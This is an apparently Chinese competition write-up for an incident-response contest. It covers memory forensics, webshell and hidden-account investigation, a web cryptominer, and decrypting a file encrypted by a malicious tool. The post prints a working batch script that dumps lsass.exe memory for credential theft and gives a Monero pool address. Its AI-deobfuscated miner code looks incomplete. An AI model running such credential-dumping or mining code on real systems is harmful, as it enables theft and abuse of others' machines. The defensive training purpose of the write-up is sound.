2025年Solar应急响应公益月赛-7月

本文最后更新于 2025年7月28日 下午

不得不说这次题量有点大

取证专项

【任务1】VOL_EASY

1
黑客上传的一句话木马密码是多少?

导入 R-Studio,Tools 下有一个 ezshell.php,找到一句话木马

1
solar

【任务2】VOL_EASY

1
黑客使用的木马连接工具叫什么(比如xx.exe)?(仅首字母大写)

1
Antsword.exe

【任务3】VOL_EASY

1
黑客使用的木马连接工具的位置在哪里(比如C:\xxxx\xx.exe)
1
C:\Tools\AntSword-Loader-v4.0.3-win32-x64\AntSword.exe

【任务4】VOL_EASY

1
黑客获取到的FLAG是什么?

Tools 下有 flag.txt

1
flag{ok!get_webshell_is_good_idea~}

【任务5】VOL_EASY

1
2
题目描述
黑客入侵的网站地址是多少(只需要http://xxxxx/)?

在 lovelymem 中搜索 Administrator 找到了疑似网站的信息

继续搜索字符串 Administrator@http://192

找到网站

1
http://192.168.186.140

【任务6】VOL_EASY

1
黑客入侵时,使用的系统用户名是什么?

查看系统信息

1
Administrator

【任务7】VOL_EASY

1
黑客创建隐藏账户的密码是多少?

搜索 net user 发现在添加用户 solar$

继续搜索 net user solar

成功找到密码

1
solar2025

【任务8】VOL_EASY

1
黑客首次操作靶机的关键程序是什么?

Tools 下有个 dump_lass.bat 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
@echo off
echo [*] 正在获取 lsass.exe PID...

for /f "tokens=2 delims=," %%a in ('tasklist /FI "IMAGENAME eq lsass.exe" /FO CSV /NH') do (
set PID=%%~a
)

if "%PID%"=="" (
echo [!] 未找到 lsass.exe 进程,或没有权限。
pause
exit /b 1
)

echo [*] PID: %PID%
echo [*] 正在尝试导出内存转储...

set OUTPUT=%~dp0lsass.dmp

rundll32.exe comsvcs.dll, MiniDump %PID% %OUTPUT% full

if exist "%OUTPUT%" (
echo [✓] 成功导出 lsass 内存为: %OUTPUT%
) else (
echo [!] 导出失败,可能权限不足。
)

pause

导出了 lsass.exe 的内存信息,包含 PID,转存输出的路径,010 打开镜像文件搜索 lsass.exe,找到相关信息

1
lsass.exe

【任务9】VOL_EASY

1
该关键程序的PID是多少?
1
456

【任务10】VOL_EASY

1
该关键程序的内存文件保存到了什么地方?
1
C:\phpstudy_pro\WWW\lsass.dmp

应急响应

【任务1】应急大师

1
solar$

【任务2】应急大师

1
请提交黑客的IP地址?

查看 nginx.log.txt 文件找到 IP

1
192.168.186.139

【任务3】应急大师

1
请提交黑客的一句话木马密码?

uploads 目录下有两个 php 文件

1
solar2025

【任务4】应急大师

1
请提交黑客创建隐藏用户的TargetSid(目标账户安全ID)?

1
S-1-5-21-3845547894-970975367-1760185533-1000

【任务5】应急大师

1
请提交黑客创建隐藏账户的事件(格式为 年/月/日 时:分:秒)?

打开事件查看器查看安全日志,发现在 2025/7/23 17:05:45 时账户被更改为 solar$

1
2025/7/23 17:05:45

【任务6】应急大师

1
黑客将这个隐藏用户先后加入了哪几个用户组?提交格式为 第一个用户组-第二个用户组,如student-teacher

可以发现先后添加了两个用户组

1
Users-Administrators

【任务7】应急大师

1
黑客通过远程桌面成功登陆系统管理员账号的网络地址及端口号?提交格式为 IP:PORT 如 127.0.0.1:41110

继续看日志发现在 17:09:41 时进行 rdp 连接

1
192.168.186.139:49197

【任务1】公交车系统攻击事件排查

1
2
题目描述
分析环境内的中间件日志,找到第一个漏洞(黑客获取数据的漏洞),然后通过分析日志、流量,通过脚本解出黑客获取的用户密码数据,提交获取的前两个用户名,提交格式:flag{zhangsan-wangli}

ssh 连上之后 ftp 查看文件,在 web 目录的 src/includes 路径下找到 db.php

拿到登录密码账户

1
mysql -h 127.0.0.1 -u bussec -pbussec123.. bus_system

/var/www/db/发现数据库文件 bus_system.sql,table 为 bus_drivers

登录进去查找

需要以 password 排序

1
flag{sunyue-chenhao}

【任务2】公交车系统攻击事件排查

1
黑客通过获取的用户名密码,利用密码复用技术,爆破了FTP服务,分析流量以后找到开放的FTP端口,并找到黑客登录成功后获取的私密文件,提交其文件中内容,提交格式:flag{xxx}

使用 find 命令查找 ftp 相关信息,找到路径 /home/wangqiang/ftp

查看 sensitive_credentials.txt 内容

1
flag{INTERNAL_FTP_ADMIN_PASSWORD=FtpP@ssw0rd_For_Admin_Backup_2025}

【任务3】公交车系统攻击事件排查

1
可恶的黑客找到了任意文件上传点,你需要分析日志和流量以及web开放的程序找到黑客上传的文件,提交木马使用的密码,提交格式:flag{password}

/var/www/html/public/uploads/ 目录下有 shell1.php

1
flag{woaiwojia}

【任务4】公交车系统攻击事件排查

1
分析流量,黑客植入了一个web挖矿木马,这个木马现实情况下会在用户访问后消耗用户的资源进行挖矿(本环境已做无害化处理),提交黑客上传这个文件时的初始名称,提交格式:flag{xxx.xxx}

根目录下有一个 result1.pcap 流量包,下载到本地分析,筛选 POST 请求流量,找到请求数据

shell1.php 是典型的哥斯拉的 webshell,解密请求数据

1
flag{map.php}

【任务5】公交车系统攻击事件排查

1
分析流量并上机排查,黑客植入的网页挖矿木马所使用的矿池地址是什么,提交矿池地址(排查完毕后可以尝试删除它)提交格式:flag{xxxxxxx.xxxx.xxx:xxxx}

在 index.php 中发现一段 js 代码,被混淆了

让 deepseek 反混淆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
(function() {
// 配置对象
var config = {};
// 设置矿池地址:gulf.moneroocean.stream:10128 (Monero 挖矿池)
config.p = String.fromCharCode(103, 117, 108, 102, 46, 109, 111, 110, 101, 114, 111, 111, 99, 101, 97, 110, 46, 115, 116, 114, 101, 97, 109, 58, 49, 48, 49, 50, 56);
// 设置延迟系数
config.l = 0.8;

// 主功能函数
var execute = function() {
// 任务队列顺序
var steps = '4|1|3|0|2'.split('|');
var stepIndex = 0;

// 依次执行队列中的任务
while (true) {
switch (steps[stepIndex++]) {
case '0':
// 此条件永远为假(随机数0-99不可能>100)
if (Math.floor(Math.random() * 100) > 100) {
console.log('This will never run');
}
continue;
case '1':
// 忙等待:阻塞约80毫秒(100*0.8)
var startTime = Date.now();
while (Date.now() - startTime < 100 * config.l) {
// 空循环制造CPU延迟
}
continue;
case '2':
// 实际执行到此步时函数已结束
continue;
case '3':
// 空步骤
continue;
case '4':
// 空步骤
continue;
}
break;
}
};

// 执行函数
execute();
})();

拿到挖矿地址

1
flag{gulf.moneroocean.stream:10128}

B02-奇怪的加密器

1
糟糕!一个客户的服务器的一个文件被加密了,为了防止感染,我将其放入了回收站,请你快点恢复我的flag生成器!这非常重要!!!

定位到主函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
int __cdecl sub_C51500(int a1, int *a2)
{
int v2; // eax
int v3; // eax
_DWORD *v5; // eax
int v6; // eax
int v7; // [esp-Ch] [ebp-9Ch]
int v8; // [esp-8h] [ebp-98h]
int v9; // [esp-4h] [ebp-94h]
int v10; // [esp+4h] [ebp-8Ch] BYREF
char v11[12]; // [esp+Ch] [ebp-84h] BYREF
int v12; // [esp+18h] [ebp-78h]
int v13; // [esp+1Ch] [ebp-74h]
void *v14; // [esp+20h] [ebp-70h]
char v15; // [esp+26h] [ebp-6Ah] BYREF
char v16; // [esp+27h] [ebp-69h]
char v17[24]; // [esp+28h] [ebp-68h] BYREF
char v18[24]; // [esp+40h] [ebp-50h] BYREF
char v19[24]; // [esp+58h] [ebp-38h] BYREF
char v20[15]; // [esp+70h] [ebp-20h] BYREF
char v21; // [esp+7Fh] [ebp-11h] BYREF
int v22; // [esp+8Ch] [ebp-4h]

if ( a1 >= 2 )
{
qmemcpy(v20, "secret_key_1234", sizeof(v20));
v9 = sub_C535E0(&v15);
v5 = sub_C53F40(&v10, (int)v20, (int)&v21);
sub_C54000(v11, *v5, v5[1], v9);
v22 = 0;
v14 = sub_C53C90(v17, a2[1]);
v16 = sub_C51C60(v14, "enc");
sub_C54B60(v17);
if ( v16 )
{
sub_C53C90(v18, (int)"FlagGenerator_v1.T1");
LOBYTE(v22) = 1;
sub_C53C90(v19, (int)"FlagGenerator_v1.exe");
LOBYTE(v22) = 2;
sub_C51160((int)v19, (int)v18, (int)v11);
LOBYTE(v22) = 1;
sub_C54B60(v19);
LOBYTE(v22) = 0;
sub_C54B60(v18);
v12 = 0;
v22 = -1;
sub_C54C00(v11);
return v12;
}
else
{
v8 = a2[1];
v6 = sub_C51960((int)&dword_C821E8, (int)"未知命令: ");
sub_C51960(v6, v8);
sub_C54FC0(sub_C53210);
v13 = 1;
v22 = -1;
sub_C54C00(v11);
return v13;
}
}
else
{
v7 = *a2;
v2 = sub_C51960((int)&unk_C82138, (int)"用法:\n 加密: ");
v3 = sub_C51960(v2, v7);
sub_C51960(v3, (int)" enc");
sub_C54FC0(sub_C53210);
return 1;
}
}

对 FlagGenerator_v1.exe 加密,key 为 secret_key_1234, 分析 sub_C51160

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
int __cdecl sub_C51160(int a1, int a2, int a3)
{
int v3; // eax
int *v5; // eax
int *v6; // eax
const BYTE *v7; // eax
BYTE *v8; // eax
int v9; // eax
const CHAR *v10; // eax
int v11; // eax
int v12; // [esp-Ch] [ebp-1B8h]
int v13; // [esp-8h] [ebp-1B4h]
DWORD v14; // [esp-8h] [ebp-1B4h]
__int64 v15; // [esp-8h] [ebp-1B4h]
int v16; // [esp-4h] [ebp-1B0h]
DWORD v17; // [esp-4h] [ebp-1B0h]
char v18[176]; // [esp+4h] [ebp-1A8h] BYREF
int v19[46]; // [esp+B4h] [ebp-F8h] BYREF
char v20[8]; // [esp+174h] [ebp-38h] BYREF
char v21[12]; // [esp+17Ch] [ebp-30h] BYREF
DWORD dwBufLen; // [esp+188h] [ebp-24h]
HCRYPTKEY phKey; // [esp+18Ch] [ebp-20h] BYREF
DWORD pdwDataLen; // [esp+190h] [ebp-1Ch] BYREF
char v25; // [esp+197h] [ebp-15h] BYREF
HCRYPTHASH phHash; // [esp+198h] [ebp-14h] BYREF
HCRYPTPROV phProv; // [esp+19Ch] [ebp-10h] BYREF
int v28; // [esp+1A8h] [ebp-4h]

sub_C53620(a1, 32, 64, 1);
v28 = 0;
if ( (unsigned __int8)sub_C54FE0((char *)v19 + *(_DWORD *)(v19[0] + 4)) )
{
v3 = sub_C51960((int)&dword_C821E8, (int)"无法打开输入文件: ");
sub_C51930(v3, a1);
sub_C54FC0(sub_C53210);
v28 = -1;
return sub_C55250(v19);
}
else
{
v16 = sub_C535E0(&v25);
v5 = (int *)sub_C53FD0(v20);
v13 = v5[1];
v12 = *v5;
v6 = (int *)sub_C53F70(v19);
sub_C51820(v21, *v6, v6[1], v12, v13, v16);
LOBYTE(v28) = 1;
sub_C56F90(v19);
phProv = 0;
phKey = 0;
phHash = 0;
if ( CryptAcquireContextA(&phProv, 0, 0, 0x18u, 0xF0000000) )
{
if ( CryptCreateHash(phProv, 0x800Cu, 0, 0, &phHash) )
{
v14 = sub_C58580(a3);
v7 = (const BYTE *)sub_C57050(a3);
CryptHashData(phHash, v7, v14, 0);
if ( CryptDeriveKey(phProv, 0x660Eu, phHash, 0, &phKey) )
{
pdwDataLen = sub_C58580(v21);
dwBufLen = pdwDataLen + 16;
sub_C58150(pdwDataLen + 16);
v17 = dwBufLen;
v8 = (BYTE *)sub_C57050(v21);
if ( CryptEncrypt(phKey, 0, 1, 0, v8, &pdwDataLen, v17) )
{
sub_C538A0(a2, 32, 64, 1);
LOBYTE(v28) = 2;
v15 = pdwDataLen;
v9 = sub_C57050(v21);
sub_C58C00(v18, v9, v15);
sub_C56FD0(v18);
v10 = (const CHAR *)sub_C56DC0(a1);
sub_C5FD86(v10);
v11 = sub_C51960((int)&unk_C82138, (int)"加密完成并删除原文件: ");
sub_C51930(v11, a1);
sub_C54FC0(sub_C53210);
LOBYTE(v28) = 1;
sub_C552B0(v18);
}
else
{
sub_C51960((int)&dword_C821E8, (int)"CryptEncrypt 失败");
sub_C54FC0(sub_C53210);
}
CryptDestroyKey(phKey);
CryptDestroyHash(phHash);
CryptReleaseContext(phProv, 0);
LOBYTE(v28) = 0;
sub_C54C00(v21);
v28 = -1;
return sub_C55250(v19);
}
else
{
sub_C51960((int)&dword_C821E8, (int)"CryptDeriveKey 失败");
sub_C54FC0(sub_C53210);
CryptDestroyHash(phHash);
CryptReleaseContext(phProv, 0);
LOBYTE(v28) = 0;
sub_C54C00(v21);
v28 = -1;
return sub_C55250(v19);
}
}
else
{
sub_C51960((int)&dword_C821E8, (int)"CryptCreateHash 失败");
sub_C54FC0(sub_C53210);
CryptReleaseContext(phProv, 0);
LOBYTE(v28) = 0;
sub_C54C00(v21);
v28 = -1;
return sub_C55250(v19);
}
}
else
{
sub_C51960((int)&dword_C821E8, (int)"CryptAcquireContext 失败");
sub_C54FC0(sub_C53210);
LOBYTE(v28) = 0;
sub_C54C00(v21);
v28 = -1;
return sub_C55250(v19);
}
}
}

这是 Windows CryptoAPI 完成对称加密操作

1
从输入文件 a1 读取数据 → 使用密码(密钥上下文 a3)加密 → 将加密结果写入输出文件 a2 → 删除原始文件

剩下的就拷打 deepseek

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
import hashlib
import os
import sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

class AESDecryptor:
def __init__(self, password):
self.password = password
self.key = None
self.iv = None

def initialize(self):
"""模拟 CryptoAPI 的密钥派生过程"""
# 1. 对密码进行 SHA-256 哈希
password_bytes = self.password.encode('utf-8')
hash_obj = hashlib.sha256(password_bytes)
hash_digest = hash_obj.digest()

# 2. 取前 16 字节作为 AES-128 密钥
self.key = hash_digest[:16]

# 3. 使用零向量作为 IV (CryptoAPI 默认行为)
self.iv = b'\x00' * 16

print(f"[密钥派生]")
print(f" 原始密钥: {self.password}")
print(f" SHA-256: {hash_digest.hex()}")
print(f" AES-128 密钥: {self.key.hex()}")
print(f" IV: {self.iv.hex()}")

return True

def decrypt_file(self, input_file, output_file):
"""解密文件"""
# 读取加密文件
try:
with open(input_file, 'rb') as f:
encrypted_data = f.read()
except Exception as e:
print(f"无法打开输入文件: {input_file}")
print(f"错误: {str(e)}")
return False

# 检查文件大小
file_size = len(encrypted_data)
print(f"文件大小: {file_size} 字节")

# 创建 AES 解密器
try:
cipher = AES.new(self.key, AES.MODE_CBC, self.iv)
decrypted_data = cipher.decrypt(encrypted_data)

# 移除 PKCS#7 填充
try:
decrypted_data = unpad(decrypted_data, AES.block_size)
print("成功移除 PKCS#7 填充")
except ValueError:
print("警告: 填充验证失败,尝试直接保存未移除填充的数据")
except Exception as e:
print(f"解密失败: {str(e)}")
return False

# 写入解密文件
try:
with open(output_file, 'wb') as f:
f.write(decrypted_data)
except Exception as e:
print(f"无法写入输出文件: {output_file}")
print(f"错误: {str(e)}")
return False

# 验证解密结果
output_size = len(decrypted_data)
print(f"解密成功!")
print(f" 输出文件大小: {output_size} 字节")
print(f" 保存到: {output_file}")

# 检查文件头
self.check_file_header(decrypted_data)

return True

def check_file_header(self, data):
"""检查常见文件头"""
if len(data) < 4:
return

headers = {
b'MZ': "Windows 可执行文件",
b'\x7fELF': "ELF 可执行文件",
b'\x89PNG': "PNG 图像",
b'\xFF\xD8\xFF': "JPEG 图像",
b'PK\x03\x04': "ZIP 压缩文件",
b'%PDF': "PDF 文档",
b'FLAG': "可能包含 FLAG",
b'flag': "可能包含 flag"
}

for signature, file_type in headers.items():
if data.startswith(signature):
print(f"检测到文件头: {signature.hex().upper()} - {file_type}")
return

# 检查可打印字符
printable = sum(32 <= b <= 126 for b in data[:100])
if printable > 70: # 超过70%可打印字符
print("文件开头包含大量可打印字符,可能是文本文件")
# 尝试显示前100个字符
try:
preview = data[:100].decode('utf-8', errors='ignore')
print("预览: " + preview)
except:
pass


def main():
print("=== AES-128 文件解密工具 ===")

# 硬编码密钥
SECRET_KEY = "secret_key_1234"

# 处理命令行参数
if len(sys.argv) < 3:
print("用法: python decrypt.py <加密文件> <输出文件>")
print(f"密钥: {SECRET_KEY}")
print(f"算法: AES-128-CBC")
print(f"密钥派生: SHA-256")
return

input_file = sys.argv[1]
output_file = sys.argv[2]

print(f"输入文件: {input_file}")
print(f"输出文件: {output_file}")
print(f"使用密钥: {SECRET_KEY}")

# 创建解密器
decryptor = AESDecryptor(SECRET_KEY)

# 初始化
if not decryptor.initialize():
print("解密器初始化失败")
return

# 解密文件
print("\n开始解密...")
if decryptor.decrypt_file(input_file, output_file):
print("\n解密成功完成!")
else:
print("\n解密失败!")

if __name__ == "__main__":
main()

运行

1
flag{8e8c6b08-8adb-262b-0032-4809c1796c3e}

2025年Solar应急响应公益月赛-7月
http://example.com/2025/07/28/2025年Solar应急响应公益月赛-7月/
作者
butt3rf1y
发布于
2025年7月28日
许可协议